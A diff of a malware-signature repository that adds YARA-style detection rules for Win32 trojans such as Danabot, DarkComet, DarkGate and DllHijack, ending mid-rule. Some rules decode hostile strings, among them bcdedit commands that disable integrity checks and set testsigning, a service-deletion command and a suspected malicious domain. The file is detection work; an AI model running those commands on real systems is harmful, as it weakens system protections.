a/Trojan/Win32/Danabot/Trojan_Win32_Danabot_MQD_MTB.yar b/Trojan/Win32/Danabot/Trojan_Win32_Danabot_MQD_MTB.yar new file mode 100644 index 0000000000..26e2dd196f --- /dev/null +++ b/Trojan/Win32/Danabot/Trojan_Win32_Danabot_MQD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Danabot_MQD_MTB{ + meta: + description = "Trojan:Win32/Danabot.MQD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {03 c7 03 f0 8b 84 24 f4 0a 00 00 8a 04 01 88 84 24 33 0b 00 00 8b c2 2b c1 03 05 ?? ?? ?? ?? 3b 84 24 10 0b 00 00 76 ?? 8b 84 24 d0 0a 00 00 03 05 ?? ?? ?? ?? 89 84 24 d0 0a 00 00 8b 84 24 14 0b 00 00 30 84 24 33 0b 00 00 3b c2 7e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Danabot/Trojan_Win32_Danabot_WWG_MTB.yar b/Trojan/Win32/Danabot/Trojan_Win32_Danabot_WWG_MTB.yar new file mode 100644 index 0000000000..2e8e989e39 --- /dev/null +++ b/Trojan/Win32/Danabot/Trojan_Win32_Danabot_WWG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Danabot_WWG_MTB{ + meta: + description = "Trojan:Win32/Danabot.WWG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8b 8a 88 00 00 00 03 0d ?? ?? ?? ?? 03 c1 a3 ?? ?? ?? ?? 8b 86 ec 00 00 00 2b 86 e4 00 00 00 05 ec d9 12 00 01 82 98 00 00 00 a1 ?? ?? ?? ?? 8b 4e 48 88 1c 08 ff 46 48 8b 46 10 8b 5e 64 48 31 86 a0 00 00 00 8d 43 af 01 46 70 81 fd 68 fb 38 00 0f 8c } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_ADA_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_ADA_MTB.yar index 4e04a39bb4..9376d96033 100644 --- a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_ADA_MTB.yar +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_ADA_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_Dapato_ADA_MTB{ + meta: + description = "Trojan:Win32/Dapato.ADA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8b d3 03 55 c8 03 c2 8b 55 e4 03 d6 8b cf e8 ?? ?? ?? ?? 01 7d c8 6a 00 e8 ?? ?? ?? ?? 03 c7 01 c6 8b 45 d0 01 c6 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} +rule Trojan_Win32_Dapato_ADA_MTB_2{ meta: description = "Trojan:Win32/Dapato.ADA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAA_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAA_MTB.yar new file mode 100644 index 0000000000..c130884436 --- /dev/null +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dapato_BAA_MTB{ + meta: + description = "Trojan:Win32/Dapato.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {03 fe 81 ef ?? ?? ?? ?? 03 c7 31 03 83 45 ec 04 6a 00 e8 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAB_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAB_MTB.yar new file mode 100644 index 0000000000..247ebcbb7c --- /dev/null +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dapato_BAB_MTB{ + meta: + description = "Trojan:Win32/Dapato.BAB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {8a 00 34 b9 8b 15 ?? ?? ?? ?? 03 13 73 ?? e8 ?? ?? ?? ?? 88 02 ff 03 81 3b ?? ?? ?? ?? 75 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAC_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAC_MTB.yar new file mode 100644 index 0000000000..f490e4e624 --- /dev/null +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dapato_BAC_MTB{ + meta: + description = "Trojan:Win32/Dapato.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 47 05 c1 e0 02 01 47 09 8b 57 09 8b 4d f0 89 0a 29 47 09 ff 47 05 8b 45 f4 8b 00 85 c0 74 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAD_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAD_MTB.yar new file mode 100644 index 0000000000..061ee06b47 --- /dev/null +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_BAD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Dapato_BAD_MTB{ + meta: + description = "Trojan:Win32/Dapato.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {03 fe 81 ef ?? ?? ?? ?? 2b f8 31 3b 83 45 ec 04 83 c3 04 8b 45 ec 3b 45 dc 72 } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_GVA_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_GVA_MTB.yar new file mode 100644 index 0000000000..37d67c16b1 --- /dev/null +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_GVA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Dapato_GVA_MTB{ + meta: + description = "Trojan:Win32/Dapato.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {03 fe 81 ef 89 15 00 00 03 c7 31 03 83 45 ec 04 6a 00 } //2 + $a_01_1 = {8b 13 03 55 ec 2b d0 89 13 8b 45 d4 03 45 a4 03 45 ec 03 f0 bf 89 15 00 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dapato/Trojan_Win32_Dapato_GVB_MTB.yar b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_GVB_MTB.yar new file mode 100644 index 0000000000..d8fd95710a --- /dev/null +++ b/Trojan/Win32/Dapato/Trojan_Win32_Dapato_GVB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Dapato_GVB_MTB{ + meta: + description = "Trojan:Win32/Dapato.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {5a 2b d0 31 13 83 45 ec 04 6a 00 } //2 + $a_01_1 = {8b 13 03 55 ec 2b d0 89 13 8b 45 d4 03 45 a4 03 45 ec 03 f0 bf 89 15 00 00 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_ADO_MTB.yar b/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_ADO_MTB.yar new file mode 100644 index 0000000000..07b2327f7d --- /dev/null +++ b/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_ADO_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DarkComet_ADO_MTB{ + meta: + description = "Trojan:Win32/DarkComet.ADO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8b 45 14 8b 55 08 03 c2 89 45 f8 8b 01 03 45 0c 8b ce 99 f7 f9 8b 45 f8 8a 8c 95 94 fb ff ff 30 08 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_AKD_MTB.yar b/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_AKD_MTB.yar new file mode 100644 index 0000000000..7ad76a3920 --- /dev/null +++ b/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_AKD_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win32_DarkComet_AKD_MTB{ + meta: + description = "Trojan:Win32/DarkComet.AKD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 04 00 00 " + + strings : + $a_01_0 = {64 6f 6e 74 75 73 65 6d 65 2e 63 74 38 2e 70 6c } //5 dontuseme.ct8.pl + $a_01_1 = {63 6d 64 20 2f 63 20 73 63 20 64 65 6c 65 74 65 20 49 6e 74 65 6c 47 70 75 55 70 64 61 74 65 72 20 26 26 20 63 6d 64 20 2f 63 20 73 63 20 73 74 6f 70 20 49 6e 74 65 6c 47 70 75 55 70 64 61 74 65 72 } //4 cmd /c sc delete IntelGpuUpdater && cmd /c sc stop IntelGpuUpdater + $a_01_2 = {55 6e 61 62 6c 65 20 74 6f 20 72 65 61 63 68 20 74 68 65 20 73 65 72 76 65 72 } //1 Unable to reach the server + $a_01_3 = {50 6c 65 61 73 65 20 72 65 73 74 61 72 74 20 79 6f 75 72 20 72 6f 75 74 65 72 20 6f 72 20 79 6f 75 72 20 50 43 20 74 6f 20 6d 61 6b 65 20 73 75 72 65 20 69 74 27 73 20 63 6f 6e 6e 65 63 74 65 64 20 74 6f 20 74 68 65 20 69 6e 74 65 72 6e 65 74 } //2 Please restart your router or your PC to make sure it's connected to the internet + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*4+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=12 + +} \ No newline at end of file diff --git a/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_AMDK_MTB.yar b/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_AMDK_MTB.yar new file mode 100644 index 0000000000..d2c61491a1 --- /dev/null +++ b/Trojan/Win32/DarkComet/Trojan_Win32_DarkComet_AMDK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DarkComet_AMDK_MTB{ + meta: + description = "Trojan:Win32/DarkComet.AMDK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8d 95 fc fb ff ff 52 8d 85 f4 fb ff ff 50 8d 4d fc 51 8d 95 f0 fb ff ff 52 68 00 04 00 00 8d 85 f0 f7 ff ff 50 68 e4 22 41 00 ff 15 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/DarkComet/Trojan_Win32_Darkcomet_MBZ_MTB.yar b/Trojan/Win32/DarkComet/Trojan_Win32_Darkcomet_MBZ_MTB.yar new file mode 100644 index 0000000000..19a7c81790 --- /dev/null +++ b/Trojan/Win32/DarkComet/Trojan_Win32_Darkcomet_MBZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Darkcomet_MBZ_MTB{ + meta: + description = "Trojan:Win32/Darkcomet.MBZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {28 2f 40 00 b8 12 40 00 00 f0 30 00 00 ff ff ff 08 00 00 00 01 00 00 00 00 00 00 00 e9 00 00 00 28 11 40 00 28 11 40 00 e4 10 40 00 78 00 00 00 80 00 00 00 8b 00 00 00 8c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/DarkComet/Trojan_Win32_Darkcomet_MCF_MTB.yar b/Trojan/Win32/DarkComet/Trojan_Win32_Darkcomet_MCF_MTB.yar new file mode 100644 index 0000000000..3109e82d50 --- /dev/null +++ b/Trojan/Win32/DarkComet/Trojan_Win32_Darkcomet_MCF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Darkcomet_MCF_MTB{ + meta: + description = "Trojan:Win32/Darkcomet.MCF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {d8 48 40 00 d4 11 40 00 10 f2 70 00 00 ff ff ff 08 00 00 00 01 00 00 00 0c 00 00 00 e9 00 00 00 7c 33 40 00 08 11 40 00 c4 10 40 00 78 00 00 00 7e } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVA_MTB.yar b/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVA_MTB.yar index af2785184e..9af86eb337 100644 --- a/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVA_MTB.yar +++ b/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVA_MTB.yar @@ -1,14 +1,12 @@ rule Trojan_Win32_DarkGate_GVA_MTB{ meta: - description = "Trojan:Win32/DarkGate.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 00 " + description = "Trojan:Win32/DarkGate.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " strings : $a_01_0 = {48 0d 00 ff ff ff 40 8b 4d 08 0f b6 14 01 8b 45 0c 03 45 fc 0f b6 08 33 ca 8b 55 0c 03 55 fc 88 0a } //3 $a_01_1 = {40 8b 4d 08 88 81 00 01 00 00 8b 55 08 0f b6 82 01 01 00 00 8b 4d 08 0f b6 91 00 01 00 00 8b 4d 08 0f b6 14 11 03 c2 25 } //1 - $a_01_2 = {44 6c 6c 47 65 74 43 6c 61 73 73 4f 62 6a 65 63 74 } //1 DllGetClassObject - $a_01_3 = {44 6c 6c 43 61 6e 55 6e 6c 6f 61 64 4e 6f 77 } //1 DllCanUnloadNow condition: - ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=6 + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1) >=4 } \ No newline at end of file diff --git a/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVE_MTB.yar b/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVE_MTB.yar new file mode 100644 index 0000000000..0599c878d4 --- /dev/null +++ b/Trojan/Win32/DarkGate/Trojan_Win32_DarkGate_GVE_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_DarkGate_GVE_MTB{ + meta: + description = "Trojan:Win32/DarkGate.GVE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {66 0f 38 1d e0 66 0f f9 cb 66 0f 69 d0 f7 f3 66 0f 6a ca 66 0f 6c ca } //1 + $a_01_1 = {66 0f fd da 66 0f f9 d1 66 0f 38 1d c1 8a 04 16 66 0f 6d cb 66 0f f9 fd 66 0f 6f cb } //1 + $a_01_2 = {66 0f 62 c2 66 0f 6f d1 66 0f f9 fd 66 0f fd c2 30 04 0f 66 0f fd c2 66 0f 6a ca 66 0f 6a ca } //2 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Delf/Trojan_Win32_Delf_OKO_MTB.yar b/Trojan/Win32/Delf/Trojan_Win32_Delf_OKO_MTB.yar new file mode 100644 index 0000000000..a7a145c842 --- /dev/null +++ b/Trojan/Win32/Delf/Trojan_Win32_Delf_OKO_MTB.yar @@ -0,0 +1,17 @@ + +rule Trojan_Win32_Delf_OKO_MTB{ + meta: + description = "Trojan:Win32/Delf.OKO!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 00 " + + strings : + $a_81_0 = {53 68 65 6c 6c 45 78 65 63 75 74 65 } //1 ShellExecute + $a_81_1 = {61 75 74 6f 72 75 6e 2e 69 6e 66 } //1 autorun.inf + $a_81_2 = {53 79 6e 61 70 74 69 63 73 2e 65 78 65 } //1 Synaptics.exe + $a_81_3 = {49 6e 6a 65 63 74 69 6e 67 } //2 Injecting + $a_81_4 = {2e 78 6c 73 78 } //2 .xlsx + $a_81_5 = {41 75 74 6f 20 55 70 64 61 74 65 20 2d 3e 20 41 63 74 69 76 65 } //1 Auto Update -> Active + $a_81_6 = {41 75 74 6f 20 55 70 64 61 74 65 20 2d 3e 20 44 65 61 63 74 69 76 65 } //1 Auto Update -> Deactive + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*2+(#a_81_4 & 1)*2+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dinwod/Trojan_Win32_Dinwod_NIT_MTB.yar b/Trojan/Win32/Dinwod/Trojan_Win32_Dinwod_NIT_MTB.yar new file mode 100644 index 0000000000..de450a1502 --- /dev/null +++ b/Trojan/Win32/Dinwod/Trojan_Win32_Dinwod_NIT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Dinwod_NIT_MTB{ + meta: + description = "Trojan:Win32/Dinwod.NIT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_01_0 = {6a 04 56 68 a0 77 40 00 6a 00 6a 00 ff 15 78 32 43 00 6a 01 50 89 46 64 ff 15 74 32 43 00 8b 46 64 50 ff 15 70 32 43 00 5f 5e 83 c4 08 c2 04 00 cc 8b 46 60 83 ec 1c 85 c0 74 07 50 ff 15 6c 32 43 00 8b 46 64 57 8b 3d 7c 32 43 00 68 e8 03 00 00 50 ff d7 85 c0 } //2 + $a_01_1 = {50 89 74 24 40 e8 63 62 01 00 83 c4 0c 68 20 71 43 00 ff 15 60 32 43 00 8b d8 3b de 89 5c 24 24 0f 84 d6 01 00 00 8b 35 5c 32 43 00 68 30 71 43 00 53 ff d6 68 4c 71 43 00 53 8b f8 ff d6 68 5c 71 43 00 53 8b e8 ff d6 85 c0 89 44 24 30 0f 84 a1 01 00 00 85 ed 0f 84 99 01 00 00 85 ff 0f 84 91 01 00 00 6a 00 6a 02 ff d7 8b f0 83 fe ff 89 74 24 20 } //1 + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win32/DisableIntegrity/Trojan_Win32_DisableIntegrity_A_ibt.yar b/Trojan/Win32/DisableIntegrity/Trojan_Win32_DisableIntegrity_A_ibt.yar new file mode 100644 index 0000000000..b0f6dd5be3 --- /dev/null +++ b/Trojan/Win32/DisableIntegrity/Trojan_Win32_DisableIntegrity_A_ibt.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_DisableIntegrity_A_ibt{ + meta: + description = "Trojan:Win32/DisableIntegrity.A!ibt,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 03 00 00 " + + strings : + $a_02_0 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 [0-04] 2d 00 73 00 65 00 74 00 [0-04] 6e 00 6f 00 69 00 6e 00 74 00 65 00 67 00 72 00 69 00 74 00 79 00 63 00 68 00 65 00 63 00 6b 00 73 00 [0-04] 79 00 65 00 73 00 [0-04] 26 00 } //10 + $a_02_1 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 [0-04] 2d 00 73 00 65 00 74 00 [0-04] 74 00 65 00 73 00 74 00 73 00 69 00 67 00 6e 00 69 00 6e 00 67 00 [0-04] 79 00 65 00 73 00 [0-04] 26 00 } //10 + $a_02_2 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 [0-04] 2d 00 73 00 65 00 74 00 [0-04] 6e 00 78 00 [0-04] 61 00 6c 00 77 00 61 00 79 00 73 00 6f 00 66 00 66 00 [0-04] 26 00 } //10 + condition: + ((#a_02_0 & 1)*10+(#a_02_1 & 1)*10+(#a_02_2 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/Diztakun/Trojan_Win32_Diztakun_ADI_MTB.yar b/Trojan/Win32/Diztakun/Trojan_Win32_Diztakun_ADI_MTB.yar new file mode 100644 index 0000000000..605d3dd496 --- /dev/null +++ b/Trojan/Win32/Diztakun/Trojan_Win32_Diztakun_ADI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Diztakun_ADI_MTB{ + meta: + description = "Trojan:Win32/Diztakun.ADI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 00 " + + strings : + $a_01_0 = {8b ca c1 f9 06 83 e2 3f 6b d2 38 8b 0c 8d f8 2b 44 00 88 44 11 29 8b 0b 8b c1 c1 f8 06 83 e1 3f 6b d1 38 8b 0c 85 f8 2b 44 00 8b 45 14 c1 e8 10 32 44 11 2d 24 01 30 44 11 2d } //2 + $a_03_1 = {b9 18 c3 43 00 e8 ?? ?? ?? ?? b9 24 c3 43 00 e8 ?? ?? ?? ?? b9 34 c3 43 00 e8 ?? ?? ?? ?? b9 48 c3 43 00 e8 ?? ?? ?? ?? b9 48 30 44 00 e8 ?? ?? ?? ?? 6a 06 68 48 30 44 00 ff 15 ?? ?? ?? ?? b9 5c c3 43 00 } //3 + $a_01_2 = {53 68 65 70 61 72 64 2e 52 5f 6d 65 72 67 65 64 5c 52 65 6c 65 61 73 65 5c 53 68 65 70 61 72 64 2e 52 5f 6d 65 72 67 65 64 2e 70 64 62 } //1 Shepard.R_merged\Release\Shepard.R_merged.pdb + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*3+(#a_01_2 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Dlass/Trojan_Win32_Dlass_GPPE_MTB.yar b/Trojan/Win32/Dlass/Trojan_Win32_Dlass_GPPE_MTB.yar new file mode 100644 index 0000000000..bb9755ce11 --- /dev/null +++ b/Trojan/Win32/Dlass/Trojan_Win32_Dlass_GPPE_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Dlass_GPPE_MTB{ + meta: + description = "Trojan:Win32/Dlass.GPPE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + + strings : + $a_03_0 = {72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 96 0a 00 59 bb ab 4d } //4 + $a_03_1 = {72 44 6c 50 74 53 cd e6 d7 7b 0b 2a 01 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 00 96 0a 00 d7 7a e8 56 } //4 + condition: + ((#a_03_0 & 1)*4+(#a_03_1 & 1)*4) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllHijack/Trojan_Win32_DLLHijack_DF_MTB.yar b/Trojan/Win32/DllHijack/Trojan_Win32_DLLHijack_DF_MTB.yar new file mode 100644 index 0000000000..002e75d52c --- /dev/null +++ b/Trojan/Win32/DllHijack/Trojan_Win32_DLLHijack_DF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DLLHijack_DF_MTB{ + meta: + description = "Trojan:Win32/DLLHijack.DF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {8a 34 0f 02 de 8a 14 1f 88 14 0f 88 34 1f 02 d6 0f b6 d2 8a 14 17 8a 0c 06 32 ca 5a 88 0c 02 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllHijack/Trojan_Win32_DLLHijack_RPA_MTB.yar b/Trojan/Win32/DllHijack/Trojan_Win32_DLLHijack_RPA_MTB.yar new file mode 100644 index 0000000000..17cfd22b12 --- /dev/null +++ b/Trojan/Win32/DllHijack/Trojan_Win32_DLLHijack_RPA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DLLHijack_RPA_MTB{ + meta: + description = "Trojan:Win32/DLLHijack.RPA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {c6 45 ec 33 c6 45 ed 38 c6 45 ee 2e c6 45 ef 31 c6 45 f0 38 c6 45 f1 31 c6 45 f2 2e c6 45 f3 34 c6 45 f4 32 c6 45 f5 2e c6 45 f6 31 c6 45 f7 32 c6 45 f8 37 c6 45 f9 00 c6 85 28 fc ff ff 73 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_BJ_MTB.yar b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_BJ_MTB.yar new file mode 100644 index 0000000000..3db33e5165 --- /dev/null +++ b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_BJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DllHijack_BJ_MTB{ + meta: + description = "Trojan:Win32/DllHijack.BJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {59 59 8b 45 08 03 45 fc 0f b6 00 33 45 10 8b 4d 08 03 4d fc 88 01 eb } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_BZ_MTB.yar b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_BZ_MTB.yar new file mode 100644 index 0000000000..fd9f064f85 --- /dev/null +++ b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_BZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DllHijack_BZ_MTB{ + meta: + description = "Trojan:Win32/DllHijack.BZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {8d 45 f0 8b d7 50 8d 4d ec e8 ?? ?? ?? ?? 8b 45 e4 83 c7 06 30 45 f0 83 c4 04 30 65 f1 0f b6 45 ea 30 45 f2 0f b6 45 eb 30 45 f3 8b c6 8b 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_C_MTB.yar b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_C_MTB.yar new file mode 100644 index 0000000000..6f5313c41f --- /dev/null +++ b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_C_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_DllHijack_C_MTB{ + meta: + description = "Trojan:Win32/DllHijack.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 00 " + + strings : + $a_01_0 = {8a c1 32 c3 34 36 8a d8 41 88 1e 3b 8d } //3 + $a_01_1 = {52 55 4e 41 53 41 44 4d 49 4e } //2 RUNASADMIN + $a_01_2 = {2f 75 61 63 } //2 /uac + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_GTD_MTB.yar b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_GTD_MTB.yar new file mode 100644 index 0000000000..499195323a --- /dev/null +++ b/Trojan/Win32/DllHijack/Trojan_Win32_DllHijack_GTD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DllHijack_GTD_MTB{ + meta: + description = "Trojan:Win32/DllHijack.GTD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {89 45 f4 8b 45 f4 3b 45 ec ?? ?? 8b 45 e8 03 45 f4 0f be 00 33 45 f8 89 45 f8 8b 45 f8 0f af 45 e4 89 45 f8 8b 45 f8 c1 e8 07 33 45 f8 89 45 f8 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win32/DllInject/Trojan_Win32_DllInject_GVC_MTB.yar b/Trojan/Win32/DllInject/Trojan_Win32_DllInject_GVC_MTB.yar new file mode 100644 index 0000000000..719522589b --- /dev/null +++ b/Trojan/Win32/DllInject/Trojan_Win32_DllInject_GVC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_DllInject_GVC_MTB{ + meta: + description = "Trojan:Win32/DllInject.GVC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {55 8b ec 83 ec 1c a1 ?? ?? ?? ?? 33 c5 89 45 fc 89 4d e8 c7 45 e4 0f 00 00 00 c6 45 ec c3 c6 45 ed 7e c6 45 ee 3b c6 45 ef 8f c6 45 f0 2c c6 45 f1 17 c6 45 f2 52 c6 45 f3 0c c6 45 f4 ef c6 45 f5 6f c6 45 f6 3b c6 45 f7 9d c6 